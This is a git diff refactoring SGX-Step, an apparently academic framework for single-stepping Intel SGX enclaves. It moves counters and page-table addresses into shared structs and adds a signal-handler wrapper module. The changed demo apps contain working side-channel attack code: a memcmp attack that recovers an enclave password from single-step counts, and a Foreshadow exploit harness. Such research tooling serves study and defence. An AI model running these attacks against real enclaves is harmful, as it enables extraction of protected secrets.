diff --git a/.gitignore b/.gitignore index 0ef7b5a..21153e1 100644 --- a/.gitignore +++ b/.gitignore @@ -16,3 +16,17 @@ *.mk *.mod *.swn + +# Ignore cache directories +*.cache/ +**/.cache/ + +# Ignore compile command files +compile_commands.json + +# Ignore backup files +*.bak + +# Ignore tags file (for ctags or similar) +tags + diff --git a/app/aep-redirect/main.c b/app/aep-redirect/main.c index d494055..4db2d34 100644 --- a/app/aep-redirect/main.c +++ b/app/aep-redirect/main.c @@ -23,6 +23,7 @@ #include #include "Enclave/encl_u.h" +#include "libsgxstep/counter.h" #include "libsgxstep/debug.h" #include "libsgxstep/elf_parser.h" #include "libsgxstep/enclave.h" @@ -31,7 +32,6 @@ #define DBG_ENCL 1 void *data_pt = NULL, *data_page = NULL, *code_pt = NULL; -int fault_fired = 0, aep_fired = 0; sgx_enclave_id_t eid = 0; void aep_cb_func(void) { @@ -43,11 +43,11 @@ void aep_cb_func(void) { edbgrd(get_enclave_ssa_gprsgx_adrs(), &gprsgx, sizeof(gprsgx_region_t)); dump_gprsgx_region(&gprsgx); - aep_fired++; + counter.aep_cnt++; } void fault_handler(int signo, siginfo_t *si, void *ctx) { - ASSERT(fault_fired < 5); + ASSERT(counter.fault_cnt < 5); switch (signo) { case SIGSEGV: @@ -71,7 +71,7 @@ void fault_handler(int signo, siginfo_t *si, void *ctx) { info("Unknown #PF address!"); } - fault_fired++; + counter.fault_cnt++; } void attacker_config_page_table(void) { @@ -142,7 +142,7 @@ int main(int argc, char **argv) { SGX_ASSERT(page_aligned_func(eid)); info("all is well; exiting.."); - ASSERT(fault_fired && aep_fired); + ASSERT(counter.fault_cnt && counter.aep_cnt); SGX_ASSERT(sgx_destroy_enclave(eid)); return 0; } diff --git a/app/bench/main.c b/app/bench/main.c index 54286a3..c68ae1b 100644 --- a/app/bench/main.c +++ b/app/bench/main.c @@ -25,6 +25,7 @@ #include "Enclave/encl_u.h" #include "libsgxstep/apic.h" #include "libsgxstep/config.h" +#include "libsgxstep/counter.h" #include "libsgxstep/debug.h" #include "libsgxstep/elf_parser.h" #include "libsgxstep/enclave.h" @@ -45,7 +46,6 @@ sgx_enclave_id_t eid = 0; int strlen_nb_access = 0; -int irq_cnt = 0, do_irq = 1, fault_cnt = 0; uint64_t *pte_encl = NULL; uint64_t *pte_str_encl = NULL; uint64_t *pmd_encl = NULL; @@ -56,7 +56,7 @@ uint64_t *pmd_encl = NULL; void aep_cb_func(void) { uint64_t erip = edbgrd_erip() - (uint64_t)get_enclave_base(); info("^^ enclave RIP=%#llx; ACCESSED=%d", erip, ACCESSED(*pte_encl)); - irq_cnt++; + counter.irq_cnt++; /* XXX insert custom attack-specific side-channel observation code here */ #if (ATTACK_SCENARIO == STRLEN) @@ -68,11 +68,11 @@ void aep_cb_func(void) { *pte_str_encl = MARK_NOT_ACCESSED(*pte_str_encl); #endif - if (do_irq && (irq_cnt > NUM_RUNS * 500)) { + if (counter.do_irq && (counter.irq_cnt > NUM_RUNS * 500)) { info( "excessive interrupt rate detected (try adjusting timer interval " "to avoid getting stuck in zero-stepping); aborting..."); - do_irq = 0; + counter.do_irq = 0; } /* @@ -91,7 +91,7 @@ void aep_cb_func(void) { * enclave instruction. * */ - if (do_irq) { + if (counter.do_irq) { *pmd_encl = MARK_NOT_ACCESSED(*pmd_encl); apic_timer_irq(SGX_STEP_TIMER_INTERVAL); } @@ -101,7 +101,7 @@ void aep_cb_func(void) { void fault_handler(int signal) { info("Caught fault %d! Restoring enclave page permissions..", signal); *pte_encl = MARK_NOT_EXECUTE_DISABLE(*pte_encl); - ASSERT(fault_cnt++ < 10); + ASSERT(counter.fault_cnt++ < 10); // NOTE: return eventually continues at aep_cb_func and initiates // single-stepping mode. @@ -167,6 +167,8 @@ int main(int argc, char **argv) { sgx_launch_token_t token = {0}; int apic_fd, encl_strlen = 0, updated = 0, vec = 0; idt_t idt = {0}; + counter.do_irq = 1; + info_event("Creating enclave..."); SGX_ASSERT(sgx_create_enclave("./Enclave/encl.so", /*debug=*/1, &token, @@ -206,7 +208,7 @@ int main(int argc, char **argv) { /* 3. Restore normal execution environment. */ SGX_ASSERT(sgx_destroy_enclave(eid)); - info_event("all done; counted %d/%d IRQs (AEP/IDT)", irq_cnt, + info_event("all done; counted %d/%d IRQs (AEP/IDT)", counter.irq_cnt, __ss_irq_count); return 0; } diff --git a/app/foreshadow/main.c b/app/foreshadow/main.c index b2e007c..f27ec35 100644 --- a/app/foreshadow/main.c +++ b/app/foreshadow/main.c @@ -54,7 +54,7 @@ uint64_t pte_alias_unmapped = 0x0; gprsgx_region_t shadow_gprsgx = {0x00}; -int fault_fired = 0, cur_byte = 0; +int cur_byte = 0; sgx_enclave_id_t eid = 0; /* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ @@ -62,7 +62,7 @@ sgx_enclave_id_t eid = 0; /* Called upon SIGSEGV caused by untrusted page tables. */ void fault_handler(int signal) { - fault_fired++; + counter.fault_cnt++; /* remap enclave page, so abort page semantics apply and execution can continue. */ *pte_alias = MARK_PRESENT(pte_alias_unmapped); @@ -78,7 +78,7 @@ void fault_handler(int signal) } else { - if (fault_fired == 1) + if (counter.fault_cnt == 1) printf("[#PF handler] ERESUME prefetch to refresh GPRSGX region; byte: "); printf("%d ", cur_byte); } @@ -210,7 +210,7 @@ int main( int argc, char **argv ) sgx_step_eresume_cnt = 0; SGX_ASSERT( enclave_run( eid ) ); - ASSERT(fault_fired); + ASSERT(counter.fault_cnt); dump_gprsgx_region(&shadow_gprsgx); foreshadow_dump_perf(); info("total of %d faulting ERESUME calls needed", sgx_step_eresume_cnt); diff --git a/app/memcmp/main.c b/app/memcmp/main.c index 77b6ece..f4e92d4 100644 --- a/app/memcmp/main.c +++ b/app/memcmp/main.c @@ -10,8 +10,10 @@ #include "libsgxstep/enclave.h" #include "libsgxstep/debug.h" #include "libsgxstep/config.h" +#include "libsgxstep/counter.h" #include "libsgxstep/idt.h" #include "libsgxstep/config.h" +#include "libsgxstep/sh.h" #include "jsh-colors.h" #include @@ -35,9 +37,6 @@ #endif sgx_enclave_id_t eid = 0; -int irq_cnt = 0, do_irq = 0, fault_cnt = 0, trigger_cnt = 0, step_cnt = 0; -uint64_t *pte_encl = NULL, *pte_trigger = NULL, *pmd_encl = NULL; -void *code_adrs, *trigger_adrs; /* ================== ATTACKER IRQ/FAULT HANDLERS ================= */ @@ -50,24 +49,24 @@ void aep_cb_func(void) #if DEBUG uint64_t erip = edbgrd_erip() - (uint64_t) get_enclave_base(); - info("^^ enclave RIP=%#llx; ACCESSED=%d", erip, ACCESSED(*pte_encl)); + info("^^ enclave RIP=%#llx; ACCESSED=%d", erip, ACCESSED(*address.pte_encl)); #endif - irq_cnt++; + counter.irq_cnt++; - if (do_irq && (irq_cnt > NUM_RUNS*1000)) + if (counter.do_irq && (counter.irq_cnt > NUM_RUNS*1000)) { info("excessive interrupt rate detected (try adjusting timer interval " \ "to avoid getting stuck in zero-stepping); aborting..."); - do_irq = 0; + counter.do_irq = 0; } - if (ACCESSED(*pte_encl) && ACCESSED(*pte_trigger)) + if (ACCESSED(*address.pte_encl) && ACCESSED(*address.pte_trigger)) { - trigger_cnt++; + counter.trigger_cnt++; } - if (trigger_cnt >= 3) + if (counter.trigger_cnt >= 3) { - do_irq = 0; + counter.do_irq = 0; } /* @@ -75,9 +74,9 @@ void aep_cb_func(void) * referencing the enclave code page about to be executed, so as to be able * to filter out "zero-step" results that won't set the accessed bit. */ - if (do_irq && ACCESSED(*pte_encl)) step_cnt++; - *pte_encl = MARK_NOT_ACCESSED( *pte_encl ); - *pte_trigger = MARK_NOT_ACCESSED(*pte_trigger); + if (counter.do_irq && ACCESSED(*address.pte_encl)) counter.step_cnt++; + *address.pte_encl = MARK_NOT_ACCESSED( *address.pte_encl ); + *address.pte_trigger = MARK_NOT_ACCESSED(*address.pte_trigger); /* * Configure APIC timer interval for next interrupt. @@ -88,81 +87,50 @@ void aep_cb_func(void) * enclave instruction. * */ - if (do_irq) + if (counter.do_irq) { - *pmd_encl = MARK_NOT_ACCESSED( *pmd_encl ); + *address.pmd_encl = MARK_NOT_ACCESSED( *address.pmd_encl ); #if DO_TIMER_STEP apic_timer_irq( SGX_STEP_TIMER_INTERVAL ); #endif } } -/* Called upon SIGSEGV caused by untrusted page tables. */ -void fault_handler(int signo, siginfo_t * si, void *ctx) -{ - ucontext_t *uc = (ucontext_t *) ctx; - - switch ( signo ) - { - case SIGSEGV: - ASSERT(fault_cnt++ < 10); +#if !DO_TIMER_STEP + void sigtrap_fault_handler(siginfo_t *si, ucontext_t *uc) { +#if DEBUG + // info("Caught single-step trap (RIP=%p)\n", si->si_addr); +#endif - #if DEBUG - info("Caught page fault (base address=%p)", si->si_addr); - #endif - - if (si->si_addr == trigger_adrs) - { - #if DEBUG - info("Restoring trigger access rights.."); - #endif - ASSERT(!mprotect(trigger_adrs, 4096, PROT_READ | PROT_WRITE)); - do_irq = 1; - sgx_step_do_trap = 1; - } - else - { - info("Unknown #PF address!"); - } - - break; + /* ensure RFLAGS.TF is clear to disable debug single-stepping */ + uc->uc_mcontext.gregs[REG_EFL] &= ~0x100; +} +#endif - #if !DO_TIMER_STEP - case SIGTRAP: - #if DEBUG - //info("Caught single-step trap (RIP=%p)\n", si->si_addr); - #endif +/* Called upon SIGSEGV caused by untrusted page tables. */ +void sigsegv_fault_handler(siginfo_t *si, ucontext_t *uc) { + ASSERT(counter.fault_cnt++ < 10); - /* ensure RFLAGS.TF is clear to disable debug single-stepping */ - uc->uc_mcontext.gregs[REG_EFL] &= ~0x100; - break; - #endif +#if DEBUG + info("Caught page fault (base address=%p)", si->si_addr); +#endif - default: - info("Caught unknown signal '%d'", signo); - abort(); + if (si->si_addr == address.trigger_adrs) { +#if DEBUG + info("Restoring trigger access rights.."); +#endif + ASSERT(!mprotect(address.trigger_adrs, 4096, PROT_READ | PROT_WRITE)); + counter.do_irq = 1; + sgx_step_do_trap = 1; + } else { + info("Unknown #PF address!"); } - // NOTE: return eventually continues at aep_cb_func and initiates // single-stepping mode. } /* ================== ATTACKER INIT/SETUP ================= */ -void register_signal_handler(int signo) -{ - struct sigaction act, old_act; - - /* Specify #PF handler with signinfo arguments */ - memset(&act, 0, sizeof(sigaction)); - act.sa_sigaction = fault_handler; - act.sa_flags = SA_RESTART | SA_SIGINFO; - - /* Block all signals while the signal is being handled */ - sigfillset(&act.sa_mask); - ASSERT(!sigaction( signo, &act, &old_act )); -} - /* Configure and check attacker untrusted runtime environment. */ void attacker_config_runtime(void) { @@ -172,31 +140,31 @@ void attacker_config_runtime(void) register_enclave_info(); print_enclave_info(); - register_signal_handler( SIGSEGV ); + register_signal_handler(sigsegv_fault_handler, SIGSEGV); } /* Provoke page fault on enclave entry to initiate single-stepping mode. */ void attacker_config_page_table(void) { - code_adrs = get_symbol_offset("my_memcmp") + get_enclave_base(); - trigger_adrs = get_symbol_offset("trigger_page") + get_enclave_base(); - info("enclave trigger at %p; code at %p", trigger_adrs, code_adrs); - - ASSERT( pte_encl = remap_page_table_level( code_adrs, PTE) ); - ASSERT( PRESENT(*pte_encl) ); - *pte_encl = MARK_NOT_ACCESSED(*pte_encl); - info("enclave code at %p with PTE", code_adrs); - print_pte_adrs( code_adrs ); - - ASSERT( pte_trigger = remap_page_table_level( trigger_adrs, PTE) ); - ASSERT( PRESENT(*pte_trigger) ); - *pte_trigger = MARK_NOT_ACCESSED(*pte_trigger); - ASSERT(!mprotect(trigger_adrs, 4096, PROT_NONE )); - info("enclave trigger at %p with PTE", trigger_adrs); - print_pte_adrs( trigger_adrs ); - - ASSERT( pmd_encl = remap_page_table_level( get_enclave_base(), PMD) ); - ASSERT( PRESENT(*pmd_encl) ); + address.code_adrs = get_symbol_offset("my_memcmp") + get_enclave_base(); + address.trigger_adrs = get_symbol_offset("trigger_page") + get_enclave_base(); + info("enclave trigger at %p; code at %p", address.trigger_adrs, address.code_adrs); + + ASSERT( address.pte_encl = remap_page_table_level( address.code_adrs, PTE) ); + ASSERT( PRESENT(*address.pte_encl) ); + *address.pte_encl = MARK_NOT_ACCESSED(*address.pte_encl); + info("enclave code at %p with PTE", address.code_adrs); + print_pte_adrs( address.code_adrs ); + + ASSERT( address.pte_trigger = remap_page_table_level( address.trigger_adrs, PTE) ); + ASSERT( PRESENT(*address.pte_trigger) ); + *address.pte_trigger = MARK_NOT_ACCESSED(*address.pte_trigger); + ASSERT(!mprotect(address.trigger_adrs, 4096, PROT_NONE )); + info("enclave trigger at %p with PTE", address.trigger_adrs); + print_pte_adrs( address.trigger_adrs ); + + ASSERT( address.pmd_encl = remap_page_table_level( get_enclave_base(), PMD) ); + ASSERT( PRESENT(*address.pmd_encl) ); } /* ================== ATTACKER MAIN ================= */ @@ -229,7 +197,7 @@ int main( int argc, char **argv ) install_kernel_irq_handler(&idt, __ss_irq_handler, IRQ_VECTOR); apic_timer_oneshot(IRQ_VECTOR); #else - register_signal_handler( SIGTRAP ); + register_signal_handler(sigtrap_fault_handler, SIGTRAP); set_debug_optin(); #endif @@ -239,21 +207,21 @@ int main( int argc, char **argv ) { for (int j = 0; j < pwd_len; j++) pwd[j] = '*'; pwd[pwd_len] = '\0'; - do_irq = 0; trigger_cnt = 0, step_cnt = 0, fault_cnt = 0; + counter.do_irq = 0; counter.trigger_cnt = 0, counter.step_cnt = 0, counter.fault_cnt = 0; sgx_step_do_trap = 0; - ASSERT(!mprotect(trigger_adrs, 4096, PROT_NONE )); + ASSERT(!mprotect(address.trigger_adrs, 4096, PROT_NONE )); SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) ); #if DEBUG - printf("[attacker] steps=%d; guess='%s'\n", step_cnt, pwd); + printf("[attacker] steps=%d; guess='%s'\n", counter.step_cnt, pwd); #else - printf("\r" BLUE_FG COLOR_BOLD "[attacker] steps=%d; " YELLOW_BG "guess='%s'" RESET_BG, step_cnt, pwd); + printf("\r" BLUE_FG COLOR_BOLD "[attacker] steps=%d; " YELLOW_BG "guess='%s'" RESET_BG, counter.step_cnt, pwd); fflush(stdout); for (volatile long int j=0; j < ANIMATION_DELAY; j++); /* delay for animation */ #endif - if (pwd_len > 0 && step_cnt > step_cnt_prev) break; - step_cnt_prev = step_cnt; + if (pwd_len > 0 && counter.step_cnt > step_cnt_prev) break; + step_cnt_prev = counter.step_cnt; } ASSERT( pwd_len < MAX_LEN ); printf(COLOR_RESET_ALL "\n[attacker] found pwd len = %d\n", pwd_len); @@ -267,27 +235,27 @@ int main( int argc, char **argv ) for (int j='A'-1; j<'Z'; j++) { pwd[i] = j; - do_irq = 0; trigger_cnt = 0, step_cnt = 0, fault_cnt = 0; + counter.do_irq = 0; counter.trigger_cnt = 0, counter.step_cnt = 0, counter.fault_cnt = 0; sgx_step_do_trap = 0; - ASSERT(!mprotect(trigger_adrs, 4096, PROT_NONE )); + ASSERT(!mprotect(address.trigger_adrs, 4096, PROT_NONE )); SGX_ASSERT( memcmp_pwd(eid, &pwd_success, pwd) ); #if DEBUG - printf("[attacker] steps=%d; guess='%s --> %s'\n", step_cnt, pwd, pwd_success ? "SUCCESS" : "FAIL"); + printf("[attacker] steps=%d; guess='%s --> %s'\n", counter.step_cnt, pwd, pwd_success ? "SUCCESS" : "FAIL"); #else printf("\r" BLUE_FG COLOR_BOLD "[attacker] steps=%d; " YELLOW_BG "guess='%s'" RESET_BG " --> %s", - step_cnt, pwd, pwd_success ? "SUCCESS" : "FAIL "); + counter.step_cnt, pwd, pwd_success ? "SUCCESS" : "FAIL "); fflush(stdout); for (volatile long int j=0; j < ANIMATION_DELAY; j++); /* delay for animation */ #endif - if (pwd_success || (j >= 'A' && step_cnt > step_cnt_prev)) break; - step_cnt_prev = step_cnt; + if (pwd_success || (j >= 'A' && counter.step_cnt > step_cnt_prev)) break; + step_cnt_prev = counter.step_cnt; } } printf(COLOR_RESET_ALL "\n\n"); #endif - info("all done; counted %d/%d IRQs (AEP/IDT)", irq_cnt, __ss_irq_count); + info("all done; counted %d/%d IRQs (AEP/IDT)", counter.irq_cnt, __ss_irq_count); return 0; } diff --git a/libsgxstep/counter.c b/libsgxstep/counter.c new file mode 100644 index 0000000..c899256 --- /dev/null +++ b/libsgxstep/counter.c @@ -0,0 +1,4 @@ +#include "counter.h" + +struct _counter counter = {0}; + diff --git a/libsgxstep/counter.h b/libsgxstep/counter.h new file mode 100644 index 0000000..26f0fd5 --- /dev/null +++ b/libsgxstep/counter.h @@ -0,0 +1,15 @@ +#ifndef SGX_STEP_COUNTER_H +#define SGX_STEP_COUNTER_H + +struct _counter { + int irq_cnt; + int do_irq; + int fault_cnt; + int trigger_cnt; + int step_cnt; + int aep_cnt; +}; + +extern struct _counter counter; + +#endif diff --git a/libsgxstep/pt.c b/libsgxstep/pt.c index c73cfdc..3994c84 100644 --- a/libsgxstep/pt.c +++ b/libsgxstep/pt.c @@ -312,3 +312,5 @@ void print_mapping( address_mapping_t *map ) printf( " |- phys address: 0x%" PRIx64 "\n", PT_PHYS( map->pte ) + virt_index( map, PAGE ) ); } } + +struct _address address = {NULL}; diff --git a/libsgxstep/pt.h b/libsgxstep/pt.h index 979945b..5bbbe01 100644 --- a/libsgxstep/pt.h +++ b/libsgxstep/pt.h @@ -176,4 +176,14 @@ void print_pte_adrs( void *adrs); void print_pte( uint64_t *pte ); void print_mapping( address_mapping_t *map ); +struct _address { + uint64_t *pte_encl; + uint64_t *pte_trigger; + uint64_t *pmd_encl; + void *code_adrs; + void *trigger_adrs; +}; + +extern struct _address address; + #endif diff --git a/libsgxstep/sh.c b/libsgxstep/sh.c new file mode 100644 index 0000000..8831eec --- /dev/null +++ b/libsgxstep/sh.c @@ -0,0 +1,44 @@ +#include "sh.h" + +#include +#include +#include + +#include "debug.h" + +// One signal_handler_cb per signo +signal_handler_t signal_handler_cb[32] = {NULL}; + +void signal_handler_wrapper(int signo, siginfo_t *info, void *context) { + ASSERT(!(info == NULL || info->si_addr == NULL)); + + ucontext_t *u_context = (ucontext_t *)context; + + if (signal_handler_cb[signo]) { +#if DEBUG + info("Calling handler for signal %d", signo); +#endif + signal_handler_cb[signo](info, u_context); + } else { + info("Caught unregistered signal %d", signo); + abort(); + } +} + +void register_signal_handler(signal_handler_t cb, int signo) { + struct sigaction act, old_act; + + /* Specify handler with signinfo arguments */ + memset(&act, 0, sizeof(struct sigaction)); + act.sa_sigaction = signal_handler_wrapper; + act.sa_flags = SA_RESTART | SA_SIGINFO; + + /* Block all signals while the signal is being handled */ + sigfillset(&act.sa_mask); + ASSERT(!sigaction(signo, &act, &old_act)); + + signal_handler_cb[signo] = cb; +#if DEBUG + info("Registered a handler for signal %d", signo); +#endif +} diff --git a/libsgxstep/sh.h b/libsgxstep/sh.h new file mode 100644 index 0000000..d6cb41b --- /dev/null +++ b/libsgxstep/sh.h @@ -0,0 +1,16 @@ +#ifndef SGX_STEP_SH_H +#define SGX_STEP_SH_H + +#include +#include + +// Define a type for the fault handler callback function +typedef void (*signal_handler_t)(siginfo_t *, ucontext_t *); + +// Declare the external fault handler callback variable +extern signal_handler_t signal_handler_cb[32]; + +// Function to register a fault handler +void register_signal_handler(signal_handler_t handler, int signo); + +#endif // PF_H